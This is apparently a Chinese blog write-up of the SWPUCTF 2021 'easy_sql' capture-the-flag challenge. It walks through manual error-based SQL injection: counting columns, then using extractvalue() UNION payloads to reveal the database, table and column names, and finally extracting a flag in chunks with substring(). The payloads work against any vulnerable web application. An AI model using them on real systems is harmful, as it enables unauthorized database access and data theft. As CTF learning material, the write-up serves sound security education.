[SWPUCTF 2021 新生赛]easy_sql

手工sql注入流程

首先,检查字段数

url?wllm=1' order by 3--+

尝试到4的时候报错,故字段数为3

爆库名

url?wllm=1' union select 1,extractvalue(1,concat('~',(select database()))),3--+

爆表名

url/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3--+

爆列名

url/?wllm=1' union select 1,extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='test_tb'))),3--+

查看数据

url/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(flag),1,30) from test_tb)))--+

因为extractvalue()函数只能返回32个字符,因此我们使用substring()函数解决这个问题:

例如substring("abc",1,1),此语句表示从第一个字符读取一个字符返回

在上面的payload中,我们得到的数据中,从第一个字符起读取30个字符返回

url/?wllm=1' and 1=extractvalue(1,concat('~',(select substring(group_concat(flag),31,30) from test_tb)))--+

 

posted @   努力的大魔王  阅读(79)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
点击右上角即可分享
微信分享提示